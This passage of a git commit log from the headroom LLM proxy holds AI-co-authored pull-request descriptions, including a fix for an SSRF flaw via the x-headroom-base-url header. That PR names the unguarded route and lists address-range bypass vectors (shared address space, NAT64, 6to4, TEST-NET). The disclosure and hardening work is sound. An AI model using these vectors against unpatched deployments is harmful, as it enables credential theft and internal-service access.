| Asserts `"Bash" in all_tools` against **real local Codex data**; Codex
renamed its shell tool | Assert what the test is for, across Codex
versions |
|
`test_graceful_shutdown::test_run_server_installs_cancelled_error_filter`
| Counts installs on the **process-global** `uvicorn.error` logger;
order-dependent | Isolate the global state; assert the real contract |

## 1. native-tls / cargo

The `openssl-sys` gate 30 lines above is described in-code as this
test's dual. It already skips when `cargo` is missing, **and** when
cargo fails for a reason other than `"package did not match"` (the Linux
wheel target not being installed locally). The native-tls test never
copied either guard.

Not disabled: CI installs the toolchain via `dtolnay/rust-toolchain`, so
the check still executes there. The skip only applies where cargo is
genuinely absent.

## 2. Codex tool vocabulary

This test runs against whatever Codex sessions the machine actually has
(gated by `HAS_CODEX_DATA`), and asserted:

```python
# Codex has only Bash tool (shell)
assert "Bash" in all_tools
```

Codex has since renamed its shell tool (`Bash` → `shell` → `exec`), and
0.149.0 added agent tools (`spawn_agent`, `send_message`, `wait`) beside
it. The assertion pinned one release's vocabulary, so it fails on any
current install.

It now asserts what the pipeline is actually being tested for — that
tool calls were extracted, including a shell-execution tool under any of
its known names — and names the remedy in the failure message for the
next rename.

**Still discriminating** (verified, not assumed):

| Scenario | Result |
|---|---|
| pipeline parsed nothing | fails ✓ |
| tool names garbled | fails ✓ |
| agent tools only, no shell tool | fails ✓ |
| real current Codex data | passes ✓ |

## 3. Global logger state

```python
if not any(isinstance(item, _SuppressCancelledErrorFilter) for item in uvicorn_error_logger.filters):
    uvicorn_error_logger.addFilter(_SuppressCancelledErrorFilter())
```

`run_server` is deliberately idempotent and `uvicorn.error` is a
process-global logger, so any earlier test in the session that reached
`run_server` leaves the filter attached — and this test then observes
**zero** installs against its `== 1` assertion. It passes alone and
fails in a full run, which is exactly the symptom.

The test now clears and restores that global state around itself, and
additionally asserts the idempotence guard that is the real contract:
calling `run_server` twice must not stack a duplicate filter. The test
got stronger, not just quieter.

## Scope

Tests only — no product code is touched.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 23:18:40 -07:00
Tejas Chopra
3e3c409436
fix(security): validate caller-supplied upstreams on every resolution path (#3195)
## Summary

CVE-2026-77775 (SSRF via `x-headroom-base-url`) is **not fully fixed on
current `main`**. The advisory lists 0.36.1 as the last affected
version; one route still forwards to any destination a caller names.

`upstream_guard.is_safe_upstream_url` was added and wired into
`/v1/messages` and the catch-all passthrough. But
`select_passthrough_base_url` moved from `providers/proxy_routes.py` to
`providers/proxy_targets.py`, and the guard did not follow it. Its Azure
branch returns the header verbatim whenever an `api-key` header is
present — **both values are caller-supplied** — and `POST
/v1/alpha/search` resolves its upstream through that helper without
checking the header itself.

## Verified, not inferred

Against the current tree, with a listener on loopback standing in for an
internal service:

```
proxy status                : 200
internal service hit        : 1 time(s)
Authorization it received   : 'Bearer SECRET-CLIENT-TOKEN'
internal body relayed back  : True
```

The caller's credentials are forwarded to the attacker-named host and
the internal response is relayed back. After this change: `400`, zero
hits, nothing relayed.

A sweep of all 99 routes isolates exactly one leak on unfixed code —
`POST /v1/alpha/search` with `api-key` — and zero after.

## 1. The missing enforcement

**Guarded at the chokepoint, not just the route.**
`select_passthrough_base_url` now validates before returning, in
`proxy_targets.py` and in the parallel copy in `providers/registry.py`,
so a future caller that forgets the header check cannot reopen this.
`/v1/alpha/search` also rejects explicitly with 400, matching its
sibling routes.

## 2. A second gap in the address policy

RFC 6598 shared address space (`100.64.0.0/10`) is not `is_private`, so
it passed the guard — while routing to ISP and cloud-internal
infrastructure. `_is_internal_address` now also rejects anything not
globally routable.

Verified over a 27-vector battery — 0 bypasses, public control
unaffected:

| Vector | Before | After |
|---|---|---|
| `100.64.0.0/10` shared address space | **allowed** | blocked |
| `198.18/15`, TEST-NET, `240/4` | **allowed** | blocked |
| 6to4 / Teredo embedding internal IPv4 | **allowed** | blocked |
| NAT64 `64:ff9b::/96` embedding loopback | **allowed** | blocked |
| loopback, RFC1918, link-local, metadata, IPv4-mapped, userinfo tricks
| blocked | blocked |
| multicast `224.0.0.1` | blocked | blocked |
| public `8.8.8.8` | allowed | allowed |

The category checks are **kept alongside** `is_global` rather than
replaced — `is_global` is `True` for multicast, so a replacement would
have regressed. NAT64 also reports as global, so its embedded IPv4 is
extracted and judged on its own.

## 3. Unauthenticated stall via the resolver

`socket.getaddrinfo` takes no timeout and runs on the calling thread —
the event loop. Since the hostname is caller-supplied, a deliberately
slow-resolving name stalled every other in-flight request; a handful of
concurrent requests made the proxy unresponsive, unauthenticated.

Resolution now runs in a small dedicated pool with a budget
(`HEADROOM_UPSTREAM_RESOLVE_TIMEOUT_S`, default 3s) and fails closed on
overrun, which bounds every caller including the synchronous chokepoint.
`is_safe_upstream_url_async` runs the lookup off the loop, and the three
route handlers that validate a caller-supplied upstream now await it.

Caching was deliberately avoided: a TTL cache in front of a security
decision invites poisoning, and would widen the rebinding window rather
than narrow it.

## Why this survived

The existing tests unit-tested the guard's *logic* but never asserted it
was *reached*. Added enforcement tests at the sinks plus a **sweep over
the whole route table** that fails if any route forwards to a loopback
address — so the next unguarded upstream resolution fails in CI rather
than in a CVE.

All new tests were confirmed failing against the unfixed tree and
passing after.

## Known residual — deliberately not addressed

**DNS rebinding.** Validation and connection resolve the host
separately, so a low-TTL answer can differ between them. Closing this
needs connection-time pinning in the shared `http_client` transport,
which carries every request in the proxy — too broad to fold into this
patch. It should not be described as fixed.

## Compatibility

An endpoint that does not resolve publicly (split-horizon, on-prem) is
now rejected where it previously passed unvalidated.
`HEADROOM_ALLOWED_BASE_URLS` is the documented opt-in, covered by test.
Three existing tests used fictional hostnames and legitimately began
failing; DNS is pinned in them so they keep testing target precedence
rather than depending on the missing guard.

Separately: `docker-compose.yml` has already been hardened since the
advisory — `HEADROOM_PROXY_TOKEN` is now mandatory and ports are
loopback-only — so the "exposed by default" multiplier the advisory
cites no longer applies to the shipped compose.

Full suite: the 3 failures outside this area
(`test_learn/test_integration`,
`test_release_workflows::test_no_native_tls_in_wheel_build_tree`, and a
`test_graceful_shutdown` ordering flake) reproduce on clean `main` and
are unrelated.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 23:16:59 -07:00
Tejas Chopra
1617f839a1
fix(proxy/responses): keep the Codex additional_tools carrier on the wire (#3194)
## Description

0.36.3 regressed Codex tool access. A user reproduced it cleanly: Codex
CLI 0.149.0 + Codex TUI/app-server, terminal tools available at first
(`pwd` executes), then **all shell/filesystem access disappears for the
rest of the session**. The same setup on 0.36.2 works.

The only functional change in 0.36.3 was #3186.

## Root cause

#3186 lifted `additional_tools` definitions into top-level `tools` so
the tools consumers (schema compaction, output shaper, token accounting)
would engage, and dropped the carrier item. That changed the
definitions' **lifetime**, not just their location:

- `tools` is a **per-request parameter**, scoped to one response.
- `additional_tools` is an **`input` item** — part of the conversation
transcript.

A stateful session declares its tools once. Codex over WebSocket sends
the carrier on turn one and relies on the transcript afterwards.
Forwarding the lifted shape leaves that transcript tool-less, so turn
one works and every turn after it has no tool surface at all.

Stateless HTTP hid this in review — it re-sends the carrier on every
request, so the lift refires each turn and nothing is ever lost. That is
why the original manual verification passed.

## Fix

The lift stays; the savings fix it shipped for is real. It is now
**symmetric**:

- `_lift_codex_additional_tools` records where each carrier came from
(`restore_plan`).
- `_restore_codex_additional_tools` puts the post-compaction definitions
back into that carrier before the payload is forwarded.

Consumers still see a classic top-level array. The client still sees the
shape it sent. Compaction's savings survive the round trip, because it
is the *compacted* schemas that go back into the carrier.

Restoration is conservative:

| Situation | Behaviour |
|---|---|
| Compaction preserved the definition count | original per-carrier split
rebuilt exactly |
| A consumer rewrote the array (deferral, injection) | whole set rides
the first carrier |
| Array came back empty | definitions Codex sent are restored, never a
tool-less forward |
| Carrier cannot be put back at all | logged, never a silent
lifted-shape forward |
| Called twice | idempotent, no duplication |

Wired into `_compress_openai_responses_payload_in_executor`, so all five
call sites — HTTP, both WebSocket sites, and passthrough — are covered
by construction. `HEADROOM_CODEX_ADDITIONAL_TOOLS_LIFT=0` still disables
the lift entirely and remains the immediate unblock for anyone on 0.36.3
right now.

## Testing

The gap in #3186 was that all nine of its tests were single-turn. These
are not.

- **Multi-turn regression test** — a turn-one payload is driven through
the real compression entry point, and turn two is built from what was
actually forwarded. On shipped `main` that turn-two transcript carries
**zero** tool definitions; with this change it carries both.
- **Exhaustive round trip** — 363 arrangements of messages, carriers,
empty carriers, adjacent/leading/trailing carriers. Zero mismatches.
This is what pins the insert-offset arithmetic.
- Round-trip shape preservation, carrier position, multiple carriers,
count-change fallback, emptied-array recovery, extra carrier keys,
idempotence, the unrestorable-warning path, the kill switch, and
untouched classic-encoding clients are each asserted.

22 tests in the file; 112 across the related suites (proxy, codex
routing, passthrough, compaction); full suite 3740 passed / 156 skipped.
`ruff check` and `ruff format` clean.

Before/after against shipped `main`, same scenario:

| | 0.36.3 (`main`) | this PR |
|---|---|---|
| forwarded top-level `tools` | present | absent |
| carrier surviving in `input` | **0** | 1 |
| tools visible to turn 2 | **none — tool loss** | `shell`,
`update_plan` |

## Validation gap — please read

This proves the **forwarded shape now matches what the client sent**,
which is the invariant that matters regardless of the exact upstream
mechanism. What is *not* directly observed here is the
transcript-persistence mechanism itself — that is inferred from
Responses API semantics, because there is no Codex 0.149.0 stateful
WebSocket backend in CI.

That is the same gap that let #3186 ship broken, so it should not be
waved through twice. The reporter has a reliable reproduction and should
confirm this build before it tags.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 22:54:03 -07:00
Ayush Kumar Jha
b4857685ff
fix(dashboard): pin MIME types for the vendored static assets (#3193)
## Description

The dashboard's vendored scripts can be served as `text/plain`, and the
proxy's own
`X-Content-Type-Options: nosniff` then stops the browser executing them
— the dashboard
loads unstyled and dataless.

`StaticFiles` types every response from `mimetypes.guess_type`, and
Python seeds that
database from the host: the Windows registry (`HKCR\<ext>\Content Type`)
and, elsewhere,
files like `/etc/mime.types`. headroom never calls `mimetypes.add_type`
anywhere, so it
inherits whatever the host says. On a host that maps `.js` to
`text/plain` — a stale
registry entry, or a minimal container image with no mime database at
all — the three
vendored assets go out as plain text.

Neither half is wrong on its own. `nosniff` at `_apply_security_headers`
is correct and
should stay; the mislabel is the bug. Together they break the dashboard
completely.

Closes #3179

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Added `register_static_mime_types()` and the `_STATIC_MIME_TYPES`
table to `headroom/dashboard/__init__.py`, next to the `STATIC_DIR` it
describes.
- `create_app` calls it immediately before mounting `/dashboard/static`,
so the served type no longer depends on the host mime database.
- Registered `.js`/`.mjs` as `text/javascript`, `.css` as `text/css`,
and `.json`/`.map` as `application/json`.
- Added `tests/test_dashboard_static_mime_types.py` (11 tests) covering
a deliberately broken host database, each registered extension,
idempotency, and a guard that fails if a future vendored asset arrives
with an unregistered extension.

### Design notes

`mimetypes.add_type` is strict by default, so these registrations
replace a bad host
entry rather than losing to it. They are the current IANA/WHATWG values,
so this only
ever repairs a host database — it never invents a mapping.

Registration runs from `create_app` rather than at module import.
Mutating the
process-wide table is right for the proxy that serves these files, but
it should not be
a side effect of `import headroom` for someone using the library.

Two deliberate departures from the fix sketched in the issue:
`text/javascript` rather
than `application/javascript` (the current registration, and what Python
3.12+ returns
natively, so the fix converges with the stdlib instead of diverging from
it — both
execute in every browser), and `.map` as `application/json` rather than
`application/javascript`, since a source map is a JSON document.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ python -m pytest tests/test_dashboard_static_mime_types.py -q
11 passed, 1 warning in 0.94s

# against the unpatched tree the same file cannot even import:
ERROR tests/test_dashboard_static_mime_types.py
ImportError: cannot import name 'register_static_mime_types' from 'headroom.dashboard'

$ python -m pytest tests/*dashboard* -q --continue-on-collection-errors
2 failed, 18 passed, 5 skipped, 2 errors in 11.75s
# baseline on the same tree with the fix stashed:
2 failed,  7 passed, 5 skipped, 2 errors in  6.98s
# identical failures/errors either way (they need the Rust _core extension, which is
# not built on this machine); the fix adds the 11 passing tests and breaks nothing.

$ python -m ruff check headroom/dashboard/__init__.py headroom/proxy/server.py tests/test_dashboard_static_mime_types.py
All checks passed!
$ python -m ruff format --check ...
3 files already formatted
$ python -m mypy headroom/dashboard/__init__.py headroom/proxy/server.py
Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11 Home 26200, Python 3.11.9, clone of
`upstream/main` at `202c189`. This machine's registry happens to have no
`.js` Content Type value, so the reporter's broken host was reproduced
by `mimetypes.add_type("text/plain", ".js")` — precisely the state
Python's `mimetypes` loads from a registry that does have it.
- Exact command / steps: mounted the real `headroom/dashboard/static`
directory through Starlette `StaticFiles` exactly as `create_app`
constructs it, then fetched all three assets over `TestClient` twice in
one process — first with no registration (today's behaviour), then after
calling `register_static_mime_types()` (the new behaviour).
- Observed result: before the fix all three assets are served
`text/plain; charset=utf-8`, which is what `nosniff` blocks and what the
reporter's console errors show; after the fix all three are
`text/javascript; charset=utf-8`. 3/3 blocked before, 3/3 executable
after. Full output below.
- Not tested: a real browser against a real Windows host carrying the
bad registry entry; and the `create_app` wiring itself, because the
proxy module will not import on this machine (the Rust `_core` extension
is unbuilt and there is no toolchain here) — that one line is covered by
CI rather than locally.

```text
using package: ...\headroom\headroom\dashboard\__init__.py

host mimetypes: .js -> text/plain

BEFORE (create_app does not register anything):
  alpine.min.js        200  text/plain; charset=utf-8
  htmx.min.js          200  text/plain; charset=utf-8
  tailwind.min.js      200  text/plain; charset=utf-8

after register_static_mime_types(): .js -> text/javascript

AFTER (create_app calls register_static_mime_types before mounting):
  alpine.min.js        200  text/javascript; charset=utf-8
  htmx.min.js          200  text/javascript; charset=utf-8
  tailwind.min.js      200  text/javascript; charset=utf-8

blocked before: 3/3   executable after: 3/3
```

## Runtime Rollout Safety

- Rollout-managed feature(s): none — an unconditional correctness fix,
not a rollout-channel feature.
- Minimum rollout channel: n/a — applies on every channel.
- Stable/default behavior changed: yes, deliberately — dashboard assets
are now served with a correct `Content-Type` on hosts whose mime
database was wrong. On a host that was already correct, the served
headers are unchanged.
- Kill switch / disable path: none needed; behaviour is inert where the
host database is already right. Reverting the commit restores the
previous behaviour.
- Unsafe override required: no.
- Qualification impact: none — no effect on compression, proxying, or
provider behavior. Only the `/dashboard/static` mount is touched.
- Rollback path: revert the commit; no persisted state, no migration, no
config.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

**Alternatives considered.** Subclassing `StaticFiles` to force a
`Content-Type` per
extension avoids touching the global table at all and would be scoped to
the dashboard
mount, but it means overriding Starlette internals for no gain in
correctness. Relaxing
`nosniff` on the static mount would also make the dashboard work, but it
trades a
security header away to paper over a labelling bug. Serving each asset
from an explicit
route with a hardcoded `media_type` works too, but replaces
`StaticFiles` wholesale.

**Scope.** Only `.js` is served from `STATIC_DIR` today; `.mjs`, `.css`,
`.json` and
`.map` are registered because they would fail in exactly the same way
the moment one is
vendored. `test_every_vendored_asset_extension_is_registered` fails if
an asset appears
with an extension the table does not cover, so the list cannot silently
fall behind.
Happy to trim it to `.js` alone if you would rather keep the surface
minimal.
2026-08-21 22:28:26 -07:00
Raúl
9c30b62962
fix: skip cross-turn dedup pointers on OpenAI chat streaming (#3191)
## Description

Cross-turn dedup (`HEADROOM_DEDUPE` / `enable_cross_turn_dedup`, plus
the cold-prefix recompaction router) folds a repeated tool-output span
into a one-line in-context pointer, `[↑NL same as msg M: 'anchor']`.
That pointer is only recoverable where the model can resolve the
reference. On the OpenAI chat-completions STREAMING path (what `headroom
wrap copilot` serves) it cannot, for two independent reasons:

1. The proxy itself logs `CCR: skipping retrieval-tool injection for
OpenAI chat streaming; this path cannot intercept tool calls`, so no
`headroom_retrieve` tool exists on this path and nothing can
mechanically resolve a fold.
2. The pointer names its source as `msg M`, Headroom's internal message
index. OpenAI-compatible chat clients never show the model numbered
messages, so the reference is unresolvable even though the original
bytes are technically still earlier in the same request.

Observed with Kimi k2.7-code / k3 via `wrap copilot`: the model treats
the pointer as deleted output, reports "the renderer is
deduplicating/compressing", and retry-loops near-identical reads (one
session burned ~200 turns; a folded conflicted-files listing hid 4 of 5
conflicted files and the agent committed unresolved `<<<<<<<` markers).

The router already keeps unrecoverable LOSSY output verbatim
(`lossy_unrecoverable_skipped`). Dedup folds are lossless in theory but
unrecoverable in practice on this path; this PR gives them the same
recoverability gate.

Closes #3190

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/transforms/content_router.py`: `ContentRouter.apply()`
accepts a per-request `cross_turn_dedup_recoverable` kwarg (default
`True`, so every existing caller is byte-identical). When `False`, the
cross-turn dedup pass is skipped and repeated spans stay verbatim,
mirroring the recoverability posture of the lossy
`lossy_unrecoverable_skipped` guard. Config comment on
`enable_cross_turn_dedup` documents the gate.
- `headroom/proxy/handlers/openai.py`: `handle_openai_chat` computes the
gate from the same predicate that already gates CCR retrieval-tool
injection, `_should_inject_openai_chat_ccr_tool(ccr_inject_tool,
stream)`, and threads it into both `openai_pipeline.apply(...)` call
sites (token-mode and non-token-mode branches). Streaming chat requests
skip the fold; buffered (non-streaming) chat, which can inject and
redeem the retrieval tool, keeps folding.
- `headroom/transforms/cold_prefix.py`: `cold_recompact_messages` no
longer hardcodes pointer emission; new keyword-only
`cross_turn_dedup_recoverable: bool = True` is forwarded to the router
gate. The only caller (Anthropic cache-mode cold turn) keeps the default
and is unchanged.
- `tests/test_cross_turn_dedup.py`: router-gate regression tests
(unrecoverable path keeps verbatim bytes for both the OpenAI `role:tool`
string shape and the Anthropic `tool_result` block shape;
default/explicit-`True` still folds).
- `tests/test_cold_prefix.py` (new): recompaction folds by default
(Anthropic path unchanged) and keeps verbatim bytes with
`cross_turn_dedup_recoverable=False`.
- `tests/test_openai_chat_dedup_recoverability.py` (new): end-to-end
through the real `/v1/chat/completions` handler with
`HEADROOM_DEDUPE=1`, capturing the exact upstream request body:
`stream=True` keeps both copies byte-verbatim with no `[↑` pointer;
`stream=False` still folds; `stream=False` under `--lossless` (which
forces `ccr_inject_tool=False`) also keeps verbatim bytes, locking the
intended coupling of "no retrieval tool" to "no bare pointer".

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
# BEFORE (branch base, fix reverted): the streaming regression test fails,
# the upstream body carries the unresolvable pointer and drops the bytes.
$ git stash push headroom/ && uv run pytest -q \
    tests/test_openai_chat_dedup_recoverability.py::test_streaming_chat_keeps_verbatim_bytes_no_dedup_pointer
E   assert '[↑' not in "fix the ove...t merge.py']"
E     '[↑' is contained here:
E       [↑14L same as msg 2: '$ cat merge.py']
FAILED tests/test_openai_chat_dedup_recoverability.py::test_streaming_chat_keeps_verbatim_bytes_no_dedup_pointer
(same run: test_cold_recompact_unrecoverable_path_keeps_verbatim_bytes also fails pre-fix;
both recoverable-path legs pass before and after)

# AFTER (full diff applied):
$ uv run pytest tests/test_cross_turn_dedup.py tests/test_cold_prefix.py \
    tests/test_openai_chat_dedup_recoverability.py \
    tests/test_proxy/test_openai_chat_ccr_injection.py tests/test_no_ccr_lossy.py \
    tests/test_openai_chat_turn_hooks.py tests/test_openai_chat_tool_desc_compaction.py \
    tests/test_responses_cross_turn_dedup.py -q
45 passed, 2 warnings in 8.75s

$ uv run pytest tests/test_proxy/ tests/test_openai_codex_routing.py \
    tests/test_openai_chat_turn_hooks.py tests/test_openai_chat_tool_desc_compaction.py \
    tests/test_openai_beta_session_sticky.py tests/test_openai_max_completion_tokens.py \
    tests/test_no_ccr_lossy.py tests/test_netcost_gate.py tests/test_agent_savings.py \
    tests/test_cross_turn_dedup.py tests/test_cold_prefix.py \
    tests/test_openai_chat_dedup_recoverability.py -q
424 passed, 2 warnings in 73.52s

$ uv run ruff format --check <touched files> && uv run ruff check <touched files>
All checks passed!
$ uv run mypy headroom/transforms/cold_prefix.py headroom/transforms/content_router.py headroom/proxy/handlers/openai.py
Success: no issues found in 3 source files

$ cargo fmt --all -- --check   # FMT_OK
$ cargo clippy --all-targets   # 2 pre-existing warnings in untouched lib-test code, no errors
$ cargo test                   # all targets green; see Additional Notes for the one environmental exception
```

## Real Behavior Proof

- Environment: macOS (Darwin), Python 3.13, repo tip `upstream/main`
5e0ce242 (v0.36.2). No secrets, no external network: the proof drives
the real proxy handler in-process via FastAPI `TestClient` with the
upstream send stubbed, capturing the exact request body the provider
would receive.
- Exact command / steps (copy-pasteable, self-contained): next lines

  ```sh
# 1. The bug, on the branch base (pointer emitted on the streaming
path):
  git stash push headroom/   # or check out upstream/main
uv run pytest -q tests/test_openai_chat_dedup_recoverability.py #
streaming leg FAILS
  git stash pop

  # 2. The fix:
uv run pytest -q tests/test_openai_chat_dedup_recoverability.py # both
legs pass
  ```

The test posts a chat-completions request whose history contains two
identical multi-line tool outputs (the shape that folds), with
`HEADROOM_DEDUPE=1`, and asserts on the captured upstream body:
- `stream=True` (the `wrap copilot` shape): both copies forwarded
byte-verbatim, no `[↑NL same as msg M]` pointer anywhere.
- `stream=False` (buffered, retrieval tool injectable): the repeated
span still folds to a pointer; the earliest copy stays verbatim as the
in-context original.
- Observed result: BEFORE, the streaming leg fails with the pointer
present in the upstream body (same
`transforms=router:cross_turn_dedup:N` evidence seen in proxy.log when
the bug bit). AFTER, streaming keeps verbatim bytes and buffered keeps
folding; the full touched-module suite (423 tests) is green.
- Not tested: a live `wrap copilot` session against the real Copilot API
(needs a subscription token; the in-process test captures the identical
upstream body the handler produces). The Responses API path
(`_dedup_responses_output_items`, Codex) is intentionally untouched:
Responses streaming has a separate buffered-CCR path that can intercept
tool calls. `/v1/compress` derived pipelines keep the default
(recoverable) behavior. Separately worth verifying in a follow-up:
whether `headroom_retrieve` resolves `msg M` dedup pointers on the paths
that keep folding, or only CCR `hash=` content markers (the
Anthropic-path fold is retained per the issue's scope, where it has not
been observed to cause retry loops).

## Runtime Rollout Safety

- Rollout-managed feature(s): none
- Minimum rollout channel: N/A
- Stable/default behavior changed: only the OpenAI chat-completions
request path, and only when cross-turn dedup is active (opt-in
`HEADROOM_DEDUPE=1`, or cold-prefix recompaction): streaming chat now
keeps repeated tool-output bytes verbatim instead of emitting `[↑NL same
as msg M]` pointers, and (because `--lossless` forces
`ccr_inject_tool=False`) buffered chat in lossless mode does the same.
Buffered chat with CCR on, Anthropic, Responses, and `/v1/compress` are
byte-identical to before (default `cross_turn_dedup_recoverable=True`;
the Responses fold is covered by the untouched, still-green
`tests/test_responses_cross_turn_dedup.py`).
- Kill switch / disable path: dedup remains opt-in via
`HEADROOM_DEDUPE`; the gate itself can be overridden per request by
passing `cross_turn_dedup_recoverable=True`.
- Unsafe override required: no
- Qualification impact: none
- Rollback path: revert the single commit; no state, schema, or config
migration involved.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation (docstrings
+ config comments)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A

## Additional Notes

- Mirrors the existing recoverability precedent: the lossy path already
refuses to emit unrecoverable output (`lossy_unrecoverable_skipped`,
issue #1307); this extends the same posture to cross-turn dedup folds.
- The gate reuses `_should_inject_openai_chat_ccr_tool`, the predicate
that already decides whether the chat path can redeem an injected
retrieval tool, so the two can never drift apart.
- Prefer-false-negatives posture: a skipped fold only ever means bytes
stay verbatim; no content is dropped, reordered, or lossy-transformed by
this change.
- Secondary operational bug noticed while diagnosing (NOT fixed here,
separate issue candidate): all concurrent proxy processes write the same
`~/.headroom/logs/proxy.log` with independent rotating handlers, so
rotation stomps history across `wrap` instances on different ports.
- Local environment note: `cargo test` on this machine hangs inside
`crates/headroom-core/tests/kompress_parity.rs` (both tests stall in
`ort` ONNX-runtime environment init, reproducible on the untouched
branch base; this PR changes no Rust). With those two tests skipped, the
full Rust suite is green (all targets `ok`, 0 failed). `cargo clippy
--all-targets` and `cargo fmt --all -- --check` pass as-is.
2026-08-21 15:51:05 -07:00
Ayush Kumar Jha
202c1895e1
fix(wrap): make the Serena pre-index stall budget configurable (#3183)
## Description

`headroom wrap` blocks the agent launch on a synchronous Serena
pre-index whose
300-second ceiling is a hardcoded module constant. When indexing exceeds
it the user
waits the full five minutes, the work is discarded (`Serena: pre-index
timed out (will
index on demand)`), and nothing — env var, flag, or config — can shrink
that budget.

Closes #3093

### Why this is still open after #2938

`_serena_project_skip_reason` keeps the pre-index off non-project roots,
which covers
the reporter's two repro directories. But it **defers the stall by one
wrap rather than
removing it**: as that function's own docstring notes, Serena's MCP
server generates
`project.yml` itself on first start, "so the pre-index simply resumes
from the next wrap
onwards." A parent-of-many-repos directory therefore gets claimed during
the first
session and pays the full 300s budget on every wrap after that. The
reporter's remaining
ask — "I'd also like the pre-index timeout to be configurable" — is the
unfixed half.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Added `HEADROOM_SERENA_INDEX_TIMEOUT` and
`_resolve_serena_index_timeout_seconds()`, modelled on the existing
`_resolve_wrap_proxy_timeout_seconds()` in the same module.
- `_index_serena_project` resolves the budget after the `uvx` guard and
passes it to `communicate()` instead of the bare constant.
- `_SERENA_INDEX_TIMEOUT = 300` stays as the default, so unset behavior
is unchanged.
- Added 19 tests covering the resolver and the pre-index call path.

### Deliberate divergence from the proxy-timeout precedent

`_resolve_wrap_proxy_timeout_seconds` raises `RuntimeError` on a bad
value, which is
right for a subsystem the wrap cannot proceed without. The pre-index is
documented as
best-effort and non-fatal, so raising there would let a typo'd env var
abort a launch
that would otherwise succeed. An unusable value instead warns and falls
back to 300s.
The warning is unconditional (not gated on `--verbose`) because a knob
that looks
applied but is not is the failure this issue reports.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ python -m pytest tests/test_cli/test_wrap_serena_boost.py -q
43 passed, 1 skipped, 1 warning in 1.13s       # 24 pre-existing + 19 new

# the same 19 tests against the unpatched tree:
18 failed, 1 passed, 24 deselected             # the 1 passer is a pre-existing test caught by -k

$ python -m pytest tests/test_cli/ -q
3 failed, 696 passed, 2 skipped in 57.80s
# the 3 are pre-existing Windows failures (symlink handling in test_recover_codex.py
# and test_unwrap_claude.py); they fail identically on an unpatched tree.

$ python -m ruff check headroom/cli/wrap.py tests/test_cli/test_wrap_serena_boost.py
All checks passed!
$ python -m ruff format --check headroom/cli/wrap.py tests/test_cli/test_wrap_serena_boost.py
2 files already formatted
$ python -m mypy headroom/cli/wrap.py
Success: no issues found in 1 source file
```

Regression check across all 42 test modules that import
`headroom.cli.wrap`, run in both
states with the working tree md5-verified before each run: identical
81-line
failure/error set, +19 passing with the fix.

## Real Behavior Proof

- Environment: Windows 11 Home 26200, Python 3.11.9, headroom at 0.36.2
(`5e0ce24`). Serena/`uvx` are not installed on this machine and the Rust
`_core` extension is not built (no Rust toolchain), so a full `headroom
wrap claude` could not be launched — see `Not tested`.
- Exact command / steps: drove the real `_index_serena_project()` with a
real child process, a real process group, real
`communicate(timeout=...)`, real `TimeoutExpired`, and the real
`_kill_serena_index_tree`, timing each phase with a monotonic clock at
`HEADROOM_SERENA_INDEX_TIMEOUT=2` and `=4`. Only *which* binary runs was
substituted (a 120s sleeper in place of `serena project index`), since
the timeout logic is indifferent to the callee.
- Observed result: the configured budget controls the wait exactly — a
2s budget waits 2.02s and a 4s budget waits 4.02s, where before the
change the same harness reports 300s regardless of any env var set. Full
output below.
- Not tested: an end-to-end `headroom wrap claude/opencode` against a
real `serena project index` (uvx/serena unavailable here); non-Windows
platforms; the interaction with a genuinely large monorepo index.

```text
budget=2s | waited  2.02s for timeout | teardown 10.02s | total 12.03s
budget=4s | waited  4.02s for timeout | teardown 10.02s | total 14.03s

misconfigured value:
  Serena: ignoring HEADROOM_SERENA_INDEX_TIMEOUT='30s' (want a positive integer
  number of seconds) - using 300s
  -> resolved to 300s, no exception raised
```

### Incidental finding (not addressed here)

On Windows, `_kill_serena_index_tree` adds a constant ~10s after any
timed-out
pre-index — one of its two 10s bounds (`taskkill` / `proc.wait`) is hit
every time. So a
2s budget still costs ~12s wall clock. That is pre-existing #2938 code
untouched by this
PR, but it caps how small the stall can usefully get and may deserve its
own issue.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is a plain env var, not a
rollout-channel feature.
- Minimum rollout channel: n/a — available on every channel, inert
unless set.
- Stable/default behavior changed: no — unset resolves to the existing
300s constant.
